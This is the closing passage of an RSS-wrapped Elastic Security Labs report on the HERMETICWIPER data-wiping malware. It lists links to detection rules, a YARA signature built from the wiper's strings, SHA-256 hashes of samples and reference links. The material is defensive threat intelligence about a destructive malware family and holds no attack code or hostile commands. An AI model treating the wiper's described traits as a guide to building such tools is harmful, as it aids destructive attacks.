<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_directory.toml">Process Execution from an Unusual Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_scheduled_task_runtime.toml">Scheduled Task Execution</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_local_scheduled_task_creation.toml">Scheduled Task Creation</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_mshta_beacon.toml">Suspicious MSHTA Execution</a></li>
</ul>
<h2>YARA Rules</h2>
<pre><code>rule Windows_Wiper_HERMETICWIPER {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-02-24&quot;
        last_modified = &quot;2022-02-24&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Wiper&quot;
        family = &quot;HERMETICWIPER&quot;
        threat_name = &quot;Windows.Wiper.HERMETICWIPER&quot;
        description = &quot;Detects HERMETICWIPER used to target Ukrainian organization&quot;
        reference_sample = &quot;1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591&quot;

    strings:
        $a1 = &quot;\\\\?\\C:\\Windows\\System32\\winevt\\Logs&quot; wide fullword
        $a2 = &quot;\\\\.\\EPMNTDRV\\%u&quot; wide fullword
        $a3 = &quot;tdrv.pdb&quot; ascii fullword
        $a4 = &quot;%s%.2s&quot; wide fullword
        $a5 = &quot;ccessdri&quot; ascii fullword
        $a6 = &quot;Hermetica Digital&quot;
    condition:
        all of them
}

</code></pre>
<h2>Observables</h2>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Reference</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591</td>
<td>SHA-256</td>
<td>Wiper malware</td>
<td>HERMETICWIPER</td>
</tr>
<tr>
<td>0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da</td>
<td>SHA-256</td>
<td>Wiper malware</td>
<td>HERMETICWIPER</td>
</tr>
<tr>
<td>3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767</td>
<td>SHA-256</td>
<td>Wiper malware</td>
<td>HERMETICWIPER</td>
</tr>
<tr>
<td>2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf</td>
<td>SHA-256</td>
<td>Wiper malware</td>
<td>HERMETICWIPER</td>
</tr>
</tbody>
</table>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt42ce05ad40a762e8/628e88d9bd980555189d997b/hermeticwiper-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<h2>References</h2>
<p>The following research was referenced throughout the document:</p>
<ul>
<li><a href="https://twitter.com/ESETresearch/status/1496581903205511181">https://twitter.com/ESETresearch/status/1496581903205511181</a></li>
<li><a href="https://twitter.com/juanandres_gs/status/1496607141888724997">https://twitter.com/juanandres_gs/status/1496607141888724997</a></li>
<li><a href="https://elastic.co/security-labs/operation-bleeding-bear">https://elastic.co/security-labs/operation-bleeding-bear</a></li>
<li><a href="https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/">https://therecord.media/microsoft-data-wiping-malware-disguised-as-ransomware-targets-ukraine-again/</a></li>
<li><a href="https://opencorporates.com/companies/cy/HE419469">https://opencorporates.com/companies/cy/HE419469</a></li>
<li><a href="https://www.easeus.com/partition-manager">https://www.easeus.com/partition-manager</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-">https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew">https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdiskfreespacew</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens">https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew">https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-findresourcew</a></li>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource">https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadresource</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper/photo-edited-11@2x.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>